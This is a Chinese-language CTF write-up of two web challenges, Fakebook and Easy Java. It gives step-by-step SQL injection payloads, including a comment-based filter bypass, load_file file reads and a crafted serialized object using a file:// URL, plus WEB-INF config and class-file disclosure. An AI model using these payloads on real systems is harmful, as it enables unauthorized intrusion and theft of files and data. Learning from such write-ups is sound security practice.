[网鼎杯 2018]Fakebook
用nikto扫描网址发现/robots.txt
访问robots.txt发现
下载/user.php.bak
1 |
|
我们先回到首页,点join注册一个账号
这个页面,也就一个username可以点进去,于是我们点进入,发现no这个地方可以注入,于是拿去sqlmap上跑一手,发现没有跑出来。
于是尝试手工注入:
?no = 1 and 1=1 //回显正常
?no = 1 and 1=2 //错误回显
铁定数字型注入,于是我们看看表中有多少列,确定一下列数,
?no = 1 order by 3 //正常
?no = 1 order by 4 //正常
?no = 1 order by 5 //错误
所以确定列数,有4列
于是我们尝试union联合注入:
?no = -1 union select 1,2,3,4 –+
结果显示nothack,通过大佬wp中发现,过滤了union select
于是我们再次构造payload:
?no = -1 union/**/select 1,2,3,4–+
回显位是username,
然后我们开始查数据库和数据库信息
?no=-1 union/**/select 1,database(),3,4–+ //数据库名
?no=-1 union/**/select 1,user(),3,4–+ //数据库信息
发现居然是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下
load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件
?no=-1 union/**/select 1,load_file(“/var/www/html/flag.php”),3,4–+
结果我们得到了flag。这也是我看一个大佬的博客上面用的,我也是学到了这个知识。
接着我们继续往下看 不用这个方法
我们接着爆数据库表:
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()–+
获得一张users表
然后爆字段名:
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’users’–+
?no=-1 union/**/select 1,data,3,4 from users –+
是个序列化后的UserInfo对象,这和我们最开始得到的user.php.bak文件有关系了。
在这里我们是不是可以利用一下呢?于是我们对这个序列化后的内容稍作改动
O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:19;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}
然后构造payload:
?no=-1 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:19;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’
然后我们查看源码,发现读出来的数据,base64解密获得flag
flag{549b4e3c-01a4-4ffc-af8b-345241d9cf28}
[RoarCTF 2019]Easy Java
这题主要考察:
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class文件,包括servletclass和非servletclass,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
查看下配置文件看看
构造filename=WEB-INF/classes/com/wm/ctf/FlagController.class
一段base64编码解码后获得
flag{332bd58a-7a90-4efc-8de6-b9f2bab6dc06}